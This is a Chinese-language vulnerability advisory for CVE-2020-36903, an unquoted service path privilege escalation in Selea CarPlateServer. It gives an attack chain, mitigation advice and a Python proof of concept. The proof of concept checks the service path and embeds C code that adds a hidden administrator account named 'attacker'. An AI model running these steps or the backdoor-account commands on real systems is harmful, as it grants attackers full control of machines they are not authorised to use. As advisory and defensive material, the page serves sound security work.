IPBUF安全漏洞报告
English
CVE-2020-36903 CVSS 8.4 高危

CVE-2020-36903 Selea CarPlateServer未引用服务路径权限提升漏洞

披露日期: 2025-12-31

漏洞信息

漏洞编号
CVE-2020-36903
漏洞类型
未引用服务路径权限提升
CVSS评分
8.4 高危
攻击向量
本地 (AV:L)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Selea CarPlateServer

相关标签

CVE-2020-36903未引用服务路径权限提升本地攻击Selea CarPlateServerWindows服务漏洞高危漏洞LocalSystem权限

漏洞概述

CVE-2020-36903是存在于Selea CarPlateServer 4.0.1.6版本中的一个高危本地权限提升漏洞。该漏洞的根本原因在于Windows服务配置中的二进制路径未使用引号包裹,导致服务在启动时存在路径解析安全隐患。攻击者可以利用Windows服务加载程序的路径解析机制,通过在系统路径的中间目录中植入恶意可执行文件,实现以LocalSystem(本地系统)最高权限执行任意代码。由于该漏洞属于本地攻击范畴,攻击者需要具备目标系统的本地访问权限,但无需任何认证凭证即可实施攻击。此类漏洞通常被归类为本地权限提升(Local Privilege Escalation)漏洞,CVSS评分达到8.4分,具有较高的安全风险。攻击成功后,攻击者可以获得目标系统的完全控制权,可用于横向移动、数据窃取或作为进一步攻击的跳板。该漏洞影响运行在Windows操作系统上的Selea CarPlateServer车牌识别系统,该系统通常部署在停车场、交通监控和门禁管理等场景中。

技术细节

未引用服务路径漏洞(Unquoted Service Path)是一种经典的Windows本地权限提升技术。当Windows服务配置中的二进制路径包含空格且未使用引号包裹时,服务控制管理器(Service Control Manager)在启动服务时会按照特定顺序搜索并执行可执行文件。以Selea CarPlateServer为例,如果服务路径为C:\Program Files\Selea\CarPlateServer.exe,系统会依次尝试执行:C:\Program.exe、C:\Program Files\CarPlateServer.exe、C:\Program Files\Selea\CarPlateServer.exe。攻击者可以利用这一特性,在C:\目录中创建名为Program.exe的恶意可执行文件,当服务重启或系统启动时,恶意文件将以LocalSystem权限被执行。由于Selea CarPlateServer通常以服务方式运行且具有较高权限,攻击者成功利用此漏洞后可获得目标系统的完全控制权。该漏洞的利用条件包括:攻击者需具有目标系统的写入权限(能够在系统根目录创建文件)、服务需要重启或系统需要重启以触发漏洞、目标系统需要启用Windows服务且服务路径存在未引用问题。

攻击链分析

STEP 1
步骤1
信息收集:攻击者首先需要识别目标系统上是否安装了Selea CarPlateServer服务,并获取服务的详细配置信息,包括服务名称、启动类型和可执行文件路径
STEP 2
步骤2
漏洞验证:检查服务路径是否包含空格且未使用引号包裹。如果服务路径为C:\Program Files\Selea\CarPlateServer.exe,则存在未引用路径漏洞
STEP 3
步骤3
权限检查:确认当前用户是否具有系统根目录(如C:\)的写入权限,因为需要在该目录创建恶意可执行文件
STEP 4
步骤4
恶意文件创建:攻击者编写恶意可执行程序(如添加管理员账户的后门程序或建立反向shell连接的木马程序),并将其保存为服务路径中间目录下的可执行文件名
STEP 5
步骤5
触发执行:等待服务重启或系统重启。当服务启动时,Windows服务控制管理器会按照路径解析顺序查找可执行文件,首先找到攻击者植入的恶意程序并以LocalSystem权限执行
STEP 6
步骤6
权限提升:恶意代码成功以系统最高权限执行,攻击者获得目标主机的完全控制权,可用于横向移动、数据窃取或建立持久化后门

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2020-36903 PoC - Selea CarPlateServer Unquoted Service Path # This PoC demonstrates the unquoted service path vulnerability in Selea CarPlateServer import os import sys import subprocess def check_vulnerable_service(): """ Check if Selea CarPlateServer service is installed and has unquoted path """ try: # Query service information using WMIC or sc command cmd = 'wmic service where "name like \'CarPlateServer%\'" get pathname' result = subprocess.run(cmd, shell=True, capture_output=True, text=True) print(f"[+] Service Info: {result.stdout}") # Check if path contains spaces and is not quoted path = result.stdout.strip() if ' ' in path and not (path.startswith('"') and path.endswith('"')): print("[+] Service is VULNERABLE - Path contains spaces without quotes") return True return False except Exception as e: print(f"[-] Error checking service: {e}") return False def create_malicious_executable(): """ Create a malicious executable to be placed in the unquoted path This creates a reverse shell payload """ # Payload: Create a simple executable that adds a new admin user # In real attack, this would be a more sophisticated payload malicious_code = ''' #include <windows.h> #include <stdlib.h> int main() { // Add new administrator user (for demonstration) system("net user attacker P@ssw0rd123 /add"); system("net localgroup Administrators attacker /add"); // Spawn reverse shell or execute other malicious code WinExec("cmd.exe /c whoami > C:\\\\temp\\\\pwned.txt", SW_HIDE); return 0; } ''' print("[+] Malicious executable template created") print("[+] In real attack, compile and place in unquoted path directory") return True def exploit(): """ Main exploitation function """ print("=" * 60) print("CVE-2020-36903 - Selea CarPlateServer Unquoted Service Path") print("=" * 60) # Step 1: Check if vulnerable if not check_vulnerable_service(): print("[-] Service not found or not vulnerable") return False # Step 2: Identify exploitable path components print("\n[+] Identifying exploitable path components...") print("[+] Example: If path is C:\\\\Program Files\\\\Selea\\\\CarPlateServer.exe") print("[+] Attacker can place executable at: C:\\\\Program.exe") # Step 3: Create malicious executable create_malicious_executable() print("\n[!] IMPORTANT: This is for educational purposes only") print("[+] In real attack scenario:") print(" 1. Create malicious executable") print(" 2. Place it in the unquoted path directory") print(" 3. Wait for service restart or system reboot") print(" 4. Malicious code executes with LocalSystem privileges") return True if __name__ == "__main__": exploit()

影响范围

Selea CarPlateServer <= 4.0.1.6

防御指南

临时缓解措施
在官方补丁发布之前,可采取以下临时缓解措施:首先,立即审核系统上所有Windows服务的配置,对包含空格且未使用引号的服务路径进行修复;其次,限制非管理员用户对系统目录的写入权限,特别是C:\根目录和C:\Program Files目录,防止攻击者植入恶意可执行文件;再次,使用Windows内置的icacls工具设置严格的访问控制列表,确保只有管理员组才能在这些目录中创建文件;最后,监控系统关键目录的文件创建活动,设置告警机制以便及时发现可疑的恶意程序植入行为。建议同时联系Selea厂商获取官方安全更新或补丁。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表